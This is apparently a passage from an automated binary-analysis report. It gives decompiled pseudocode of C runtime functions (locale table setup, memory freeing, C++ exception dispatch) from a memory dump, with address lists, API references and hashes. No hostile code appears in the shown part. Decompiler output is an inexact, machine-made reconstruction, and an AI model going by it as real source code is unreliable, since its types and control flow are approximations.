								_t142 = memcpy(_t141, _t141 + 0x100, 0 << 2);
								asm("movsw");
								asm("movsb");
								_t215 = _v64;
								if( *((intOrPtr*)(_t215 + 0x8c)) != 0) {
									asm("lock xadd [ecx], eax");
									if((_t142 | 0xffffffff) == 0) {
										E004B2FCF( *(_t215 + 0x90) - 0xfe);
										E004B2FCF( *(_t215 + 0x94) - 0x80);
										E004B2FCF( *(_t215 + 0x98) - 0x80);
										E004B2FCF( *((intOrPtr*)(_t215 + 0x8c)));
									}
								}
								_t143 = _v44;
								 *_t143 = 1;
								 *((intOrPtr*)(_t215 + 0x8c)) = _t143;
								 *_t215 = _v60;
								 *(_t215 + 0x90) = _v32;
								 *(_t215 + 0x94) = _v68;
								 *(_t215 + 0x98) = _v56;
								 *(_t215 + 4) = _v48;
								L37:
								E004B2FCF(_v52);
								goto L41;
							} else {
								_t189 =  &_v21;
								while(1) {
									_t160 =  *_t189;
									if(_t160 == 0) {
										break;
									}
									_t216 =  *(_t189 - 1) & 0x000000ff;
									if(_t216 > (_t160 & 0x000000ff)) {
										L30:
										_t189 =  &(_t189[2]);
										if( *(_t189 - 1) != _t170) {
											continue;
										}
										break;
									}
									_t209 = _t192 + 0x100 + _t216 * 2;
									do {
										_t216 = _t216 + 1;
										 *_t209 = 0x8000;
										_t209 = _t209 + 2;
									} while (_t216 <= ( *_t189 & 0x000000ff));
									goto L30;
								}
								goto L32;
							}
						} else {
							_t190 =  &_v21;
							while(1) {
								_t165 =  *_t190;
								if(_t165 == 0) {
									goto L22;
								}
								_t194 =  *(_t190 - 1) & 0x000000ff;
								_t166 = _t165 & 0x000000ff;
								while(_t194 <= _t166) {
									 *((char*)(_t194 + _t197)) = 0x20;
									_t194 = _t194 + 1;
									__eflags = _t194;
									_t166 =  *_t190 & 0x000000ff;
								}
								_t190 =  &(_t190[2]);
								if( *(_t190 - 1) != _t170) {
									continue;
								}
								goto L22;
							}
							goto L22;
						}
					}
				}
				_push(_t106);
				_push(0x1004);
				_push(_t172);
				_push(0);
				_push( &_v76);
				_t168 = L004BAC52(0, __edi, _t211);
				_t219 = _t218 + 0x14;
				if(_t168 != 0) {
					goto L36;
				}
				goto L3;
			}

0x004ae555
0x004ae55c
0x004ae561
0x004ae564
0x004ae567
0x004ae56a
0x004ae56d
0x004ae573
0x004ae576
0x004ae579
0x004ae57c
0x004ae57f
0x004ae584
0x004ae8a4
0x004ae8a6
0x004ae8a8
0x004ae8a8
0x004ae8ab
0x004ae8b1
0x004ae8b3
0x004ae8b9
0x004ae8bf
0x004ae8c9
0x004ae8d3
0x004ae8da
0x004ae8ea
0x004ae8ea
0x004ae58a
0x004ae58d
0x004ae592
0x004ae5b0
0x004ae5ba
0x004ae5bd
0x004ae5d0
0x004ae5d3
0x004ae5e1
0x004ae5e4
0x004ae5f2
0x004ae5f5
0x004ae606
0x004ae609
0x004ae60c
0x004ae611
0x004ae617
0x004ae86b
0x004ae86e
0x004ae876
0x004ae87e
0x004ae886
0x004ae890
0x004ae890
0x00000000
0x004ae640
0x004ae640
0x004ae642
0x004ae642
0x004ae645
0x004ae646
0x004ae650
0x004ae651
0x004ae65c
0x00000000
0x00000000
0x004ae662
0x004ae665
0x004ae668
0x00000000
0x00000000
0x004ae675
0x004ae678
0x004ae698
0x004ae69d
0x004ae6a0
0x004ae6a2
0x00000000
0x00000000
0x004ae6bc
0x004ae6cc
0x004ae6d1
0x004ae6d6
0x00000000
0x00000000
0x004ae6e0
0x004ae70d
0x004ae723
0x004ae726
0x004ae72b
0x004ae730
0x00000000
0x00000000
0x004ae736
0x004ae73b
0x004ae741
0x004ae744
0x004ae747
0x004ae74a
0x004ae74d
0x004ae750
0x004ae757
0x004ae75a
0x004ae75d
0x004ae75f
0x004ae765
0x004ae768
0x004ae76a
0x004ae7ac
0x004ae7ae
0x004ae7b7
0x004ae7bc
0x004ae7bf
0x004ae7c9
0x004ae7cb
0x004ae7ce
0x004ae7d0
0x004ae7d9
0x004ae7db
0x004ae7dd
0x004ae7de
0x004ae7e9
0x004ae7ee
0x004ae7f2
0x004ae800
0x004ae813
0x004ae821
0x004ae82c
0x004ae831
0x004ae7f2
0x004ae834
0x004ae837
0x004ae83d
0x004ae846
0x004ae84b
0x004ae854
0x004ae85d
0x004ae866
0x004ae891
0x004ae894
0x00000000
0x004ae771
0x004ae771
0x004ae774
0x004ae774
0x004ae778
0x00000000
0x00000000
0x004ae77a
0x004ae783
0x004ae7a1
0x004ae7a1
0x004ae7a7
0x00000000
0x00000000
0x00000000
0x004ae7a7
0x004ae78b
0x004ae78e
0x004ae793
0x004ae794
0x004ae797
0x004ae79d
0x00000000
0x004ae78e
0x00000000
0x004ae7a9
0x004ae6e7
0x004ae6e7
0x004ae6ea
0x004ae6ea
0x004ae6ee
0x00000000
0x00000000
0x004ae6f0
0x004ae6f4
0x004ae701
0x004ae6f9
0x004ae6fd
0x004ae6fd
0x004ae6fe
0x004ae6fe
0x004ae705
0x004ae70b
0x00000000
0x00000000
0x00000000
0x004ae70b
0x00000000
0x004ae6ea
0x004ae6e0
0x004ae617
0x004ae594
0x004ae595
0x004ae59a
0x004ae59e
0x004ae59f
0x004ae5a0
0x004ae5a5
0x004ae5aa
0x00000000
0x00000000
0x00000000

APIs

_free.LIBCMT ref: 004AE5BD
_free.LIBCMT ref: 004AE5D3
_free.LIBCMT ref: 004AE5E4
_free.LIBCMT ref: 004AE5F5
_free.LIBCMT ref: 004AE60C

Part of subcall function 004BAC52: _free.LIBCMT ref: 004BACBD

_free.LIBCMT ref: 004AE800
_free.LIBCMT ref: 004AE813
_free.LIBCMT ref: 004AE821
_free.LIBCMT ref: 004AE82C
_free.LIBCMT ref: 004AE86E
_free.LIBCMT ref: 004AE876
_free.LIBCMT ref: 004AE87E
_free.LIBCMT ref: 004AE886
_free.LIBCMT ref: 004AE894

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8a636e2bbdafa0c27dd1f470b398a38e7b7c2fc48a7cac7d3dddb75e94c7b168
Instruction ID: 41dedc299b97d59205ef8975e4c92ae30be2675a0302f90edd16b3296b1dee3b
Opcode Fuzzy Hash: 8a636e2bbdafa0c27dd1f470b398a38e7b7c2fc48a7cac7d3dddb75e94c7b168
Instruction Fuzzy Hash: 07B1CE70900205EFDB11DF6AC881BEEBBF4BF19304F14456EF869A7342D779A8419B68

Uniqueness

Uniqueness Score: -1.00%

Function 004BD301, Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004BD301(char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t53;
				void _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				signed int _t64;
				char _t92;
				char _t100;
				void* _t101;
				signed int _t104;
				void* _t107;
				char* _t122;
				signed int _t126;
				intOrPtr* _t131;
				void* _t132;
				intOrPtr* _t133;
				signed int _t134;
				signed int _t135;
				signed int _t136;
				signed int _t137;
				char* _t138;

				_t100 = _a4;
				_v28 = _t100;
				_v24 = 0;
				if( *((intOrPtr*)(_t100 + 0xb0)) != 0 ||  *((intOrPtr*)(_t100 + 0xac)) != 0) {
					_v16 = 1;
					_t53 = E004B2F72(_t101, 1, 0x50);
					_v8 = _t53;
					if(_t53 != 0) {
						_t104 = 0x14;
						memcpy(_t53,  *(_t100 + 0x88), _t104 << 2);
						_t131 = E004B3009(0, 4);
						_t126 = 0;
						_v12 = _t131;
						E004B2FCF(0);
						_pop(_t107);
						if(_t131 != 0) {
							 *_t131 = 0;
							if( *((intOrPtr*)(_t100 + 0xb0)) == 0) {
								_t132 = _v8;
								_t57 =  *0x4eb098; // 0x4eb090
								 *_t132 = _t57;
								_t58 =  *0x4eb09c; // 0x4ee440
								 *((intOrPtr*)(_t132 + 4)) = _t58;
								_t59 =  *0x4eb0a0; // 0x4ee440
								 *((intOrPtr*)(_t132 + 8)) = _t59;
								_t60 =  *0x4eb0c8; // 0x4eb094
								 *((intOrPtr*)(_t132 + 0x30)) = _t60;
								_t61 =  *0x4eb0cc; // 0x4ee444
								 *((intOrPtr*)(_t132 + 0x34)) = _t61;
								L19:
								 *_v12 = 1;
								if(_t126 != 0) {
									 *_t126 = 1;
								}
								goto L21;
							}
							_t133 = E004B3009(_t107, 4);
							_v20 = _t133;
							E004B2FCF(0);
							if(_t133 == 0) {
								L11:
								E004B2FCF(_v8);
								E004B2FCF(_v12);
								return _v16;
							}
							_push(_v8);
							 *_t133 = 0;
							_t127 =  *((intOrPtr*)(_t100 + 0xb0));
							_t134 = L004BAC52(_t100,  *((intOrPtr*)(_t100 + 0xb0)), _t133);
							_t135 = _t134 | L004BAC52(_t100,  *((intOrPtr*)(_t100 + 0xb0)), _t134,  &_v28, 1,  *((intOrPtr*)(_t100 + 0xb0)), 0xf, _v8 + 4,  &_v28);
							_v16 = _v8 + 8;
							_t136 = _t135 | L004BAC52(_t100, _t127, _t135,  &_v28, 1, _t127, 0x10, _v8 + 8, 1);
							_t137 = _t136 | L004BAC52(_t100, _t127, _t136,  &_v28, 2, _t127, 0xe, _v8 + 0x30, _t127);
							if((L004BAC52(_t100, _t127, _t137,  &_v28, 2, _t127, 0xf, _v8 + 0x34, 0xe) | _t137) == 0) {
								_t122 =  *_v16;
								while( *_t122 != 0) {
									_t92 =  *_t122;
									if(_t92 < 0x30 || _t92 > 0x39) {
										if(_t92 != 0x3b) {
											goto L16;
										}
										_t138 = _t122;
										do {
											 *_t138 =  *((intOrPtr*)(_t138 + 1));
											_t138 = _t138 + 1;
										} while ( *_t138 != 0);
									} else {
										 *_t122 = _t92 - 0x30;
										L16:
										_t122 = _t122 + 1;
									}
								}
								_t126 = _v20;
								_t132 = _v8;
								goto L19;
							}
							E004BD298(_v8);
							_v16 = _v16 | 0xffffffff;
							goto L11;
						}
						E004B2FCF(_v8);
						return 1;
					}
					return 1;
				} else {
					_t126 = 0;
					_v12 = 0;
					_t132 = 0x4eb098;
					L21:
					_t64 =  *(_t100 + 0x80);
					if(_t64 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t100 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t64 | 0xffffffff) == 0) {
							E004B2FCF( *((intOrPtr*)(_t100 + 0x7c)));
							E004B2FCF( *(_t100 + 0x88));
						}
					}
					 *((intOrPtr*)(_t100 + 0x7c)) = _v12;
					 *(_t100 + 0x80) = _t126;
					 *(_t100 + 0x88) = _t132;
					return 0;
				}
			}

0x004bd30a
0x004bd311
0x004bd314
0x004bd31d
0x004bd33c
0x004bd33f
0x004bd344
0x004bd34b
0x004bd35e
0x004bd35f
0x004bd368
0x004bd36a
0x004bd36d
0x004bd370
0x004bd376
0x004bd379
0x004bd38c
0x004bd394
0x004bd4ee
0x004bd4f1
0x004bd4f6
0x004bd4f8
0x004bd4fd
0x004bd500
0x004bd505
0x004bd508
0x004bd50d
0x004bd510
0x004bd515
0x004bd47e
0x004bd484
0x004bd488
0x004bd48a
0x004bd48a
0x00000000
0x004bd488
0x004bd3a1
0x004bd3a4
0x004bd3a7
0x004bd3b0
0x004bd445
0x004bd448
0x004bd451
0x00000000
0x004bd45a
0x004bd3b6
0x004bd3b9
0x004bd3be
0x004bd3d2
0x004bd3e6
0x004bd3f2
0x004bd400
0x004bd41a
0x004bd436
0x004bd460
0x004bd473
0x004bd464
0x004bd468
0x004bd4db
0x00000000
0x00000000
0x004bd4dd
0x004bd4df
0x004bd4e2
0x004bd4e4
0x004bd4e7
0x004bd46e
0x004bd470
0x004bd472
0x004bd472
0x004bd472
0x004bd468
0x004bd478
0x004bd47b
0x00000000
0x004bd47b
0x004bd43b
0x004bd440
0x00000000
0x004bd444
0x004bd37e
0x00000000
0x004bd386
0x00000000
0x004bd327
0x004bd327
0x004bd329
0x004bd32c
0x004bd48c
0x004bd48c
0x004bd494
0x004bd496
0x004bd496
0x004bd49e
0x004bd4a3
0x004bd4a7
0x004bd4ac
0x004bd4b7
0x004bd4bd
0x004bd4a7
0x004bd4c1
0x004bd4c6
0x004bd4cc
0x00000000
0x004bd4cc

APIs

_free.LIBCMT ref: 004BD370
_free.LIBCMT ref: 004BD37E
_free.LIBCMT ref: 004BD4AC
_free.LIBCMT ref: 004BD4B7

Strings

@N, xrefs: 004BD500
@N, xrefs: 004BD4F8
DN, xrefs: 004BD510

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID: @N$@N$DN
API String ID: 269201875-95471587
Opcode ID: b5a9e389aa254042dce70f216a2f32f77fbb28ed1f8b5cd2830eb09921ce6248
Instruction ID: 620b9ed788cc5ef679bbbdde6e78add46e834bae98315cdb043e8cb399df271f
Opcode Fuzzy Hash: b5a9e389aa254042dce70f216a2f32f77fbb28ed1f8b5cd2830eb09921ce6248
Instruction Fuzzy Hash: 6F61D371D00205AFDB20DF65C842BEABBF4EF44310F1441ABE954EB342E774AD419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004A171D, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 308
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004A171D(signed int __ecx, signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, char _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed int _v52;
				signed int* _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				void* _v72;
				char _v88;
				intOrPtr _v92;
				signed int _v96;
				intOrPtr _v104;
				void _v108;
				intOrPtr* _v116;
				signed char* _v188;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t203;
				void* _t204;
				char _t206;
				signed int _t208;
				signed int _t210;
				signed char* _t211;
				signed int _t212;
				signed int _t213;
				signed int _t217;
				void* _t220;
				signed char* _t223;
				void* _t226;
				void* _t227;
				signed int _t232;
				void* _t234;
				signed int _t235;
				void* _t238;
				intOrPtr* _t253;
				void* _t256;
				signed int* _t258;
				signed int _t259;
				intOrPtr _t260;
				signed int _t261;
				void* _t266;
				void* _t268;
				void* _t271;
				signed char* _t275;
				intOrPtr* _t276;
				signed char _t277;
				signed int _t278;
				signed int _t279;
				intOrPtr* _t281;
				signed int _t282;
				signed int _t283;
				signed int _t288;
				signed int _t295;
				signed int _t296;
				intOrPtr _t299;
				signed int _t305;
				signed char* _t306;
				signed int _t307;
				signed int _t308;
				signed int* _t310;
				signed char* _t313;
				signed int _t323;
				signed int _t324;
				signed int _t326;
				signed int _t335;
				void* _t337;
				void* _t339;
				void* _t340;
				void* _t341;
				void* _t342;

				_t305 = __edx;
				_t280 = __ecx;
				_push(_t324);
				_t310 = _a20;
				_v32 = 0;
				_v5 = 0;
				_t203 = E004A26AA(_a8, _a16, _t310);
				_t340 = _t339 + 0xc;
				_v16 = _t203;
				if(_t203 < 0xffffffff || _t203 >= _t310[1]) {
					L69:
					_t204 = L004AEA83(_t275, _t305, _t310, _t324);
					asm("int3");
					_t337 = _t340;
					_t341 = _t340 - 0x38;
					_push(_t275);
					_t276 = _v116;
					__eflags =  *_t276 - 0x80000003;
					if(__eflags == 0) {
						return _t204;
					} else {
						_push(_t324);
						_push(_t310);
						__eflags =  *(E004A13A1(_t276, _t280, _t305, _t310, _t324, __eflags) + 8);
						if(__eflags != 0) {
							_t324 =  *0x4f01d0(0);
							_t226 = E004A13A1(_t276, _t280, _t305, 0, _t324, __eflags);
							__eflags =  *((intOrPtr*)(_t226 + 8)) - _t324;
							if( *((intOrPtr*)(_t226 + 8)) != _t324) {
								__eflags =  *_t276 - 0xe0434f4d;
								if( *_t276 != 0xe0434f4d) {
									__eflags =  *_t276 - 0xe0434352;
									if( *_t276 != 0xe0434352) {
										_t217 = L0049EC91(_t276, _a4, _a8, _a12, _a16, _a24, _a28);
										_t341 = _t341 + 0x1c;
										__eflags = _t217;
										if(_t217 != 0) {
											L86:
											return _t217;
										}
									}
								}
							}
						}
						_t206 = _a16;
						_v28 = _t206;
						_v24 = 0;
						__eflags =  *(_t206 + 0xc);
						if( *(_t206 + 0xc) > 0) {
							_push(_a24);
							L0049EBC3(_t276, _t280, 0, _t324,  &_v44,  &_v28, _a20, _a12, _t206);
							_t307 = _v40;
							_t342 = _t341 + 0x18;
							_t217 = _v44;
							_v20 = _t217;
							_v12 = _t307;
							__eflags = _t307 - _v32;
							if(_t307 >= _v32) {
								goto L86;
							}
							_t282 = _t307 * 0x14;
							__eflags = _t282;
							_v16 = _t282;
							do {
								_t283 = 5;
								_t220 = memcpy( &_v64,  *((intOrPtr*)( *_t217 + 0x10)) + _t282, _t283 << 2);
								_t342 = _t342 + 0xc;
								__eflags = _v64 - _t220;
								if(_v64 > _t220) {
									goto L85;
								}
								__eflags = _t220 - _v60;
								if(_t220 > _v60) {
									goto L85;
								}
								_t223 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t288 = _t223[4];
								__eflags = _t288;
								if(_t288 == 0) {
									L83:
									__eflags =  *_t223 & 0x00000040;
									if(( *_t223 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E004A169D(_t307, _t276, _a4, _a8, _a12, _a16, _t223, 0,  &_v64, _a24, _a28);
										_t307 = _v12;
										_t342 = _t342 + 0x30;
									}
									goto L85;
								}
								__eflags =  *((char*)(_t288 + 8));
								if( *((char*)(_t288 + 8)) != 0) {
									goto L85;
								}
								goto L83;
								L85:
								_t307 = _t307 + 1;
								_t217 = _v20;
								_t282 = _v16 + 0x14;
								_v12 = _t307;
								_v16 = _t282;
								__eflags = _t307 - _v32;
							} while (_t307 < _v32);
							goto L86;
						}
						L004AEA83(_t276, _t305, 0, _t324);
						asm("int3");
						_push(_t337);
						_t306 = _v188;
						_push(_t276);
						_push(_t324);
						_push(0);
						_t208 = _t306[4];
						__eflags = _t208;
						if(_t208 == 0) {
							L111:
							_t210 = 1;
							__eflags = 1;
						} else {
							_t281 = _t208 + 8;
							__eflags =  *_t281;
							if( *_t281 == 0) {
								goto L111;
							} else {
								__eflags =  *_t306 & 0x00000080;
								_t313 = _v0;
								if(( *_t306 & 0x00000080) == 0) {
									L93:
									_t277 = _t313[4];
									_t326 = 0;
									__eflags = _t208 - _t277;
									if(_t208 == _t277) {
										L103:
										__eflags =  *_t313 & 0x00000002;
										if(( *_t313 & 0x00000002) == 0) {
											L105:
											_t211 = _a4;
											__eflags =  *_t211 & 0x00000001;
											if(( *_t211 & 0x00000001) == 0) {
												L107:
												__eflags =  *_t211 & 0x00000002;
												if(( *_t211 & 0x00000002) == 0) {
													L109:
													_t326 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t306 & 0x00000002;
													if(( *_t306 & 0x00000002) != 0) {
														goto L109;
													}
												}
											} else {
												__eflags =  *_t306 & 0x00000001;
												if(( *_t306 & 0x00000001) != 0) {
													goto L107;
												}
											}
										} else {
											__eflags =  *_t306 & 0x00000008;
											if(( *_t306 & 0x00000008) != 0) {
												goto L105;
											}
										}
										_t210 = _t326;
									} else {
										_t212 = _t277 + 8;
										while(1) {
											_t278 =  *_t281;
											__eflags = _t278 -  *_t212;
											if(_t278 !=  *_t212) {
												break;
											}
											__eflags = _t278;
											if(_t278 == 0) {
												L99:
												_t213 = _t326;
											} else {
												_t279 =  *((intOrPtr*)(_t281 + 1));
												__eflags = _t279 -  *((intOrPtr*)(_t212 + 1));
												if(_t279 !=  *((intOrPtr*)(_t212 + 1))) {
													break;
												} else {
													_t281 = _t281 + 2;
													_t212 = _t212 + 2;
													__eflags = _t279;
													if(_t279 != 0) {
														continue;
													} else {
														goto L99;
													}
												}
											}
											L101:
											__eflags = _t213;
											if(_t213 == 0) {
												goto L103;
											} else {
												_t210 = 0;
											}
											goto L112;
										}
										asm("sbb eax, eax");
										_t213 = _t212 | 0x00000001;
										__eflags = _t213;
										goto L101;
									}
								} else {
									__eflags =  *_t313 & 0x00000010;
									if(( *_t313 & 0x00000010) != 0) {
										goto L111;
									} else {
										goto L93;
									}
								}
							}
						}
						L112:
						return _t210;
					}
				} else {
					_t275 = _a4;
					if( *_t275 != 0xe06d7363 || _t275[0x10] != 3 || _t275[0x14] != 0x19930520 && _t275[0x14] != 0x19930521 && _t275[0x14] != 0x19930522) {
						_t324 = 0;
						__eflags = 0;
						goto L24;
					} else {
						_t324 = 0;
						_t350 = _t275[0x1c];
						if(_t275[0x1c] != 0) {
							L24:
							_t280 = _a12;
							_v12 = _t280;
							goto L26;
						} else {
							_t227 = E004A13A1(_t275, _t280, _t305, _t310, 0, _t350);
							_t351 =  *((intOrPtr*)(_t227 + 0x10));
							if( *((intOrPtr*)(_t227 + 0x10)) == 0) {
								L63:
								return _t227;
							} else {
								_t275 =  *(E004A13A1(_t275, _t280, _t305, _t310, 0, _t351) + 0x10);
								_t266 = E004A13A1(_t275, _t280, _t305, _t310, 0, _t351);
								_v32 = 1;
								_v12 =  *((intOrPtr*)(_t266 + 0x14));
								if(_t275 == 0) {
									goto L69;
								} else {
									if( *_t275 != 0xe06d7363 || _t275[0x10] != 3 || _t275[0x14] != 0x19930520 && _t275[0x14] != 0x19930521 && _t275[0x14] != 0x19930522) {
										L16:
										_t268 = E004A13A1(_t275, _t280, _t305, _t310, _t324, _t358);
										_t359 =  *((intOrPtr*)(_t268 + 0x1c)) - _t324;
										if( *((intOrPtr*)(_t268 + 0x1c)) == _t324) {
											L25:
											_t280 = _v12;
											_t203 = _v16;
											L26:
											_v56 = _t310;
											_v52 = _t324;
											__eflags =  *_t275 - 0xe06d7363;
											if( *_t275 != 0xe06d7363) {
												L59:
												__eflags = _t310[3] - _t324;
												if(__eflags <= 0) {
													goto L62;
												} else {
													__eflags = _a24;
													if(__eflags != 0) {
														goto L69;
													} else {
														_push(_a32);
														_push(_a28);
														_push(_t203);
														_push(_t310);
														_push(_a16);
														_push(_t280);
														_push(_a8);
														_push(_t275);
														L70();
														_t340 = _t340 + 0x20;
														goto L62;
													}
												}
											} else {
												__eflags = _t275[0x10] - 3;
												if(_t275[0x10] != 3) {
													goto L59;
												} else {
													__eflags = _t275[0x14] - 0x19930520;
													if(_t275[0x14] == 0x19930520) {
														L31:
														__eflags = _t310[3] - _t324;
														if(_t310[3] > _t324) {
															_push(_a28);
															L0049EBC3(_t275, _t280, _t310, _t324,  &_v72,  &_v56, _t203, _a16, _t310);
															_t305 = _v68;
															_t340 = _t340 + 0x18;
															_t253 = _v72;
															_v48 = _t253;
															_v20 = _t305;
															__eflags = _t305 - _v60;
															if(_t305 < _v60) {
																_t295 = _t305 * 0x14;
																__eflags = _t295;
																_v36 = _t295;
																do {
																	_t296 = 5;
																	_t256 = memcpy( &_v108,  *((intOrPtr*)( *_t253 + 0x10)) + _t295, _t296 << 2);
																	_t340 = _t340 + 0xc;
																	__eflags = _v108 - _t256;
																	if(_v108 <= _t256) {
																		__eflags = _t256 - _v104;
																		if(_t256 <= _v104) {
																			_t299 = 0;
																			_v24 = 0;
																			__eflags = _v96;
																			if(_v96 != 0) {
																				_t258 =  *(_t275[0x1c] + 0xc);
																				_t308 =  *_t258;
																				_t259 =  &(_t258[1]);
																				__eflags = _t259;
																				_v40 = _t259;
																				_t260 = _v92;
																				_v44 = _t308;
																				_v28 = _t260;
																				do {
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					_t323 = _v40;
																					_t335 = _t308;
																					__eflags = _t335;
																					if(_t335 <= 0) {
																						goto L42;
																					} else {
																						while(1) {
																							_push(_t275[0x1c]);
																							_t261 =  &_v88;
																							_push( *_t323);
																							_push(_t261);
																							L89();
																							_t340 = _t340 + 0xc;
																							__eflags = _t261;
																							if(_t261 != 0) {
																								break;
																							}
																							_t335 = _t335 - 1;
																							_t323 = _t323 + 4;
																							__eflags = _t335;
																							if(_t335 > 0) {
																								continue;
																							} else {
																								_t299 = _v24;
																								_t260 = _v28;
																								_t308 = _v44;
																								goto L42;
																							}
																							goto L45;
																						}
																						_push(_a24);
																						_v5 = 1;
																						_push(_v32);
																						E004A169D(_t308, _t275, _a8, _v12, _a16, _a20,  &_v88,  *_t323,  &_v108, _a28, _a32);
																						_t340 = _t340 + 0x30;
																					}
																					L45:
																					_t305 = _v20;
																					goto L46;
																					L42:
																					_t299 = _t299 + 1;
																					_t260 = _t260 + 0x10;
																					_v24 = _t299;
																					_v28 = _t260;
																					__eflags = _t299 - _v96;
																				} while (_t299 != _v96);
																				goto L45;
																			}
																		}
																	}
																	L46:
																	_t305 = _t305 + 1;
																	_t253 = _v48;
																	_t295 = _v36 + 0x14;
																	_v20 = _t305;
																	_v36 = _t295;
																	__eflags = _t305 - _v60;
																} while (_t305 < _v60);
																_t310 = _a20;
																_t324 = 0;
																__eflags = 0;
															}
														}
														__eflags = _a24;
														if(_a24 != 0) {
															_push(1);
															E004A1196();
															_t280 = _t275;
														}
														__eflags = _v5;
														if(__eflags != 0) {
															L62:
															_t227 = E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags);
															__eflags =  *((intOrPtr*)(_t227 + 0x1c)) - _t324;
															if( *((intOrPtr*)(_t227 + 0x1c)) != _t324) {
																goto L69;
															} else {
																goto L63;
															}
														} else {
															__eflags = ( *_t310 & 0x1fffffff) - 0x19930521;
															if(__eflags < 0) {
																goto L62;
															} else {
																__eflags = _t310[7];
																if(_t310[7] != 0) {
																	L55:
																	__eflags = _t310[8] >> 0x00000002 & 0x00000001;
																	if(__eflags == 0) {
																		_push(_t310[7]);
																		_t232 = E004A2114(_t275, _t310, _t324, _t275);
																		_pop(_t280);
																		__eflags = _t232;
																		if(__eflags == 0) {
																			goto L66;
																		} else {
																			goto L62;
																		}
																	} else {
																		 *(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x10) = _t275;
																		 *((intOrPtr*)(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x14)) = _v12;
																		goto L64;
																	}
																} else {
																	__eflags = _t310[8] >> 0x00000002 & 0x00000001;
																	if(__eflags == 0) {
																		goto L62;
																	} else {
																		__eflags = _a28;
																		if(__eflags != 0) {
																			goto L62;
																		} else {
																			goto L55;
																		}
																	}
																}
															}
														}
													} else {
														__eflags = _t275[0x14] - 0x19930521;
														if(_t275[0x14] == 0x19930521) {
															goto L31;
														} else {
															__eflags = _t275[0x14] - 0x19930522;
															if(_t275[0x14] != 0x19930522) {
																goto L59;
															} else {
																goto L31;
															}
														}
													}
												}
											}
										} else {
											_v20 =  *((intOrPtr*)(E004A13A1(_t275, _t280, _t305, _t310, _t324, _t359) + 0x1c));
											_t271 = E004A13A1(_t275, _t280, _t305, _t310, _t324, _t359);
											_push(_v20);
											 *(_t271 + 0x1c) = _t324;
											if(E004A2114(_t275, _t310, _t324, _t275) != 0) {
												goto L25;
											} else {
												_t310 = _v20;
												_t361 =  *_t310 - _t324;
												if( *_t310 <= _t324) {
													L64:
													L004A5A7D();
												} else {
													_t302 = _t324;
													_v20 = _t324;
													while(L0043CC09( *((intOrPtr*)(_t302 + _t310[1] + 4)), _t361, 0x4ec894) == 0) {
														_t324 = _t324 + 1;
														_t302 = _v20 + 0x10;
														_v20 = _v20 + 0x10;
														_t361 = _t324 -  *_t310;
														if(_t324 >=  *_t310) {
															goto L64;
														} else {
															continue;
														}
														goto L65;
													}
												}
												L65:
												_push(1);
												_push(_t275);
												E004A1196();
												_t280 =  &_v68;
												L004A1DB4( &_v68);
												E004A1116( &_v68, 0x4e86cc);
												L66:
												 *(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x10) = _t275;
												_t234 = E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags);
												_t280 = _v12;
												 *(_t234 + 0x14) = _v12;
												_t235 = _a32;
												__eflags = _t235;
												if(_t235 == 0) {
													_t235 = _a8;
												}
												L0049EDA7(_t280, _t235, _t275);
												E004A2014(_a8, _a16, _t310);
												_t238 = E004A21D1(_t310);
												_t340 = _t340 + 0x10;
												_push(_t238);
												L004A1F90(_t275, _t280, _t305, _t310, _t324, __eflags);
												goto L69;
											}
										}
									} else {
										_t358 = _t275[0x1c] - _t324;
										if(_t275[0x1c] == _t324) {
											goto L69;
										} else {
											goto L16;
										}
									}
								}
							}
						}
					}
				}
			}

0x004a171d
0x004a171d
0x004a1724
0x004a1726
0x004a172f
0x004a1735
0x004a1738
0x004a173d
0x004a1740
0x004a1746
0x004a1acd
0x004a1acd
0x004a1ad2
0x004a1ad4
0x004a1ad6
0x004a1ad9
0x004a1ada
0x004a1add
0x004a1ae3
0x004a1c02
0x004a1ae9
0x004a1ae9
0x004a1aea
0x004a1af2
0x004a1af5
0x004a1afe
0x004a1b00
0x004a1b05
0x004a1b08
0x004a1b0a
0x004a1b10
0x004a1b12
0x004a1b18
0x004a1b2d
0x004a1b32
0x004a1b35
0x004a1b37
0x004a1bfe
0x00000000
0x004a1bff
0x004a1b37
0x004a1b18
0x004a1b10
0x004a1b08
0x004a1b3d
0x004a1b40
0x004a1b43
0x004a1b46
0x004a1b49
0x004a1b4f
0x004a1b61
0x004a1b66
0x004a1b69
0x004a1b6c
0x004a1b6f
0x004a1b72
0x004a1b75
0x004a1b78
0x00000000
0x00000000
0x004a1b7e
0x004a1b7e
0x004a1b81
0x004a1b84
0x004a1b93
0x004a1b94
